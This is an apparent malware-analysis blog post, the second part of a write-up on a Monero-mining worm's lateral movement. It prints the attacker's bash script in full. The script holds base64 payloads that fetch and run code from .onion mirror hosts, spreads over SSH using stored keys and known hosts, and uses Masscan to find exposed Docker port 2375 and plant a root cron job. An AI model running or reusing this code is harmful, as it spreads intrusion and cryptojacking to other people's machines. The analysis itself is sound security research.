In the previous article on debugging malware and analyzing mining malware, we examined the main components of the malware. However, due to the article’s length, we did not analyze the lateral movement aspect of the malware. Today, we revisit the malware’s source code to fill in the gaps left in the previous analysis.

This article serves as the second part of the previous malware analysis. If you haven’t read the first article, you can click the link below to check it out. It also includes commands for completely removing the EXIN malware.
Documenting a Debugging Analysis of Monero Mining Malware Script
In the previous debugging analysis, we identified all the file links potentially used by the malware.

However, during the debugging process, it was impossible to traverse all the branches in one go. This led to some files being overlooked. Therefore, this time, I extracted all the malware file links, downloaded them, and organized them systematically.

Download link: exin.zip
This time, we analyze the RHNM3 file, focusing on the lateral movement aspect of the malware. The codebase is significantly smaller compared to the previous analysis, but the author’s approach to lateral movement is worth studying. Let’s dive straight into the source code.
#!/bin/bashSHELL=/bin/bashPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin sh="dW5zZXQgSElTVEZJTEU7ZnVuY3Rpb24gZDEoKXsgY3VybCAtLXJldHJ5IDIgLS1jb25uZWN0LXRpbWVvdXQgMjYgLS1tYXgtdGltZSA3NSAtLXVzZXItYWdlbnQgJ01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLWZzU0xrICQxOyB9O2Z1bmN0aW9uIGQyKCl7IHdnZXQgLS10cmllcz0yIC0tY29ubmVjdC10aW1lb3V0PTI2IC0tdGltZW91dD03NSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC0tdXNlci1hZ2VudD0nTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTEuMC4yNzA0LjEwMyBTYWZhcmkvNTM3LjM2JyAtcU8tICQxOyB9O3UxPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ud3Mvd3AtY29udGVudC9KNk04NlYiO3UyPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28ub25pb24ubHkvd3AtY29udGVudC9KNk04NlYiO3UzPSJodHRwczovL2VrbnI3M3V0cjd1N2J6d28udG9yMndlYi5zdS93cC1jb250ZW50L0o2TTg2ViI7KGQxICR7dTF9fHxkMSAke3UyfXx8ZDEgJHt1Mn18fGQyICR7dTF9fHxkMiAke3UyfXx8ZDIgJHt1M30pfC9iaW4vYmFzaCAmJwo="cr="TUFJTFRPPScnClNIRUxMPS9iaW4vYmFzaApQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbgoqLzUgKiAqICogKiByb290IGZ1bmN0aW9uIGQxKCl7IGN1cmwgLS1yZXRyeSAyIC0tY29ubmVjdC10aW1lb3V0IDI2IC0tbWF4LXRpbWUgNzUgLS11c2VyLWFnZW50ICdNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MS4wLjI3MDQuMTAzIFNhZmFyaS81MzcuMzYnIC1mc1NMayAkMTsgfTtmdW5jdGlvbiBkMigpeyB3Z2V0IC0tdHJpZXM9MiAtLWNvbm5lY3QtdGltZW91dD0yNiAtLXRpbWVvdXQ9NzUgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtLXVzZXItYWdlbnQ9J01vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC4xMDMgU2FmYXJpLzUzNy4zNicgLXFPLSAkMTsgfTt1MT0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLndzL3dwLWNvbnRlbnQvSjZNODZWIjt1Mj0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLm9uaW9uLmx5L3dwLWNvbnRlbnQvSjZNODZWIjt1Mz0iaHR0cHM6Ly9la25yNzN1dHI3dTdiendvLnRvcjJ3ZWIuc3Uvd3AtY29udGVudC9KNk04NlYiOyhkMSAke3UxfXx8ZDEgJHt1Mn18fGQxICR7dTJ9fHxkMiAke3UxfXx8ZDIgJHt1Mn18fGQyICR7dTN9KXwvYmluL2Jhc2ggJgo=" if["$(command -v ssh|wc -l)"-eq1]; thenif[!-f/etc/ssh/modulus ]; thenif[-d/root/.ssh ]; thenhb=('/root')elsehb=()fifor i in $(find/home -mindepth1-maxdepth1-type d); doif[-d$i/.ssh ]; then hb+=("$i")fidonefor hd in{hb[@]}; doif[-f$hd/.ssh/known_hosts ]&& ["$(find $hd/.ssh -type f -name "id_*" -print|wc -l)"-ne0]; thenfor i in $(grep-oE"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"$hd/.ssh/known_hosts); dossh-oBatchMode=yes-oStrictHostChecking=no -oConnectTimeOut=8-t root@$i"unset HISTFILE;echo ${sh}|base64 -d|/bin/bash"& donefidonetouch-amr/etc/ssh/ssh_config /etc/ssh/modulus fifi
It’s clear that the author encoded two strings, `sh` and `cr`, in Base64 at the beginning. Let’s decode them directly in bash to see their contents.

Similarly, decode the `$cr` variable.

Next, let’s analyze the logic below.
First, it checks if the `ssh` command exists, followed by checking for the presence of the `/etc/ssh/modulus` file. Normally, the `/etc/ssh/` directory does not contain a `modulus` file.

There’s only a `moduli` file. I suspect the author created a `modulus` file as a marker, with its name resembling `moduli` to confuse readers.
It then checks if the root directory contains a `.ssh` folder. Linux users will recognize this directory as the location for SSH key files and previously connected host information.

Masscan is currently the fastest internet port scanner, capable of scanning the entire internet in as little as six minutes. It achieves this by utilizing asynchronous transmission. The primary distinction between Masscan and other scanners lies in its speed—it is significantly faster. Moreover, Masscan is more flexible, allowing users to customize arbitrary address ranges and port ranges.
Initially, I wondered why the author insisted on using Masscan instead of Nmap. Later, I tested the parameters provided by the malware author and discovered that Masscan’s asynchronous scanning speed is indeed impressive—far more efficient than Nmap. In scenarios involving large-scale penetration testing, efficiency is undeniably crucial.
if["$(command -v masscan|wc -l)"-eq1]&& ["$(command -v ip|wc -l)"-eq1]&& ["$(command -v docker|wc -l)"-eq1]; thenif[!-f/var/log/alternatives.log.1 ]; thenevalsl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))"mkdir-p/var/log ip-o-f inet a show|awk'/scope global/ {print $4}'|xargs masscan "$@"--ports2375--rate=60000-oG${sl}sed-i-e's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g'-e'/Masscan/d'-e'/scanned/d'${sl}whileread i; do docker -H tcp://$i run --rm-v/:/mnt busybox chroot/mnt sh-c"echo ${cr}|base64 -d|tee /etc/cron.d/crontab"done< ${sl}rm-f${sl}touch-amr/var/log/boot.log /var/log/alternatives.log.1 fiif[!-f/var/log/alternatives.log.2 ]; thenevalsl="/var/log/$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 6-11 -n 1))"mkdir-p/var/log masscan "$(curl -fsSLk --max-time 6 https://ipinfo.io/ip)/24"--ports2375--rate=60000-oG${sl}sed-i-e's/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g'-e'/Masscan/d'-e'/scanned/d'${sl}whileread i; do docker -H tcp://$i run --rm-v/:/mnt busybox chroot/mnt sh-c"echo ${cr}|base64 -d|tee /etc/cron.d/crontab"done< ${sl}rm-f${sl}touch-amr/var/log/boot.log /var/log/alternatives.log.2 fifiexit0
When Masscan, IP, and Docker are all available simultaneously, the script checks for the existence of the files /var/log/alternatives.log.1
and /var/log/alternatives.log.2
. These files serve the same purpose as the /etc/ssh/modulus
file mentioned earlier—they act as marker files.

The subnet is then passed as a parameter to Masscan to directly scan other hosts within the internal network. If port 2375 is found to be open, the script exploits Docker’s unauthorized access to write the content of the variable $cr
into the host’s crontab, enabling the download of malware.
Similarly, the malware author does not limit their activity to the internal network. They access the https://ipinfo.io/ip API to retrieve your public IP address and then scan the /24 subnet for open port 2375 to carry out further intrusions.

Following the author’s parameters, I tested the script by scanning the current /16 subnet of my host.

While the results may not be entirely accurate, the efficiency is exceptionally high, and the number of findings is substantial. This suggests that the malware author is likely reaping significant benefits.
Additionally, another script was briefly mentioned in a previous article.

After all, to maximize profits, the competition within the cybercrime ecosystem can be described as a “battle of wits,” with each party showcasing their unique skills!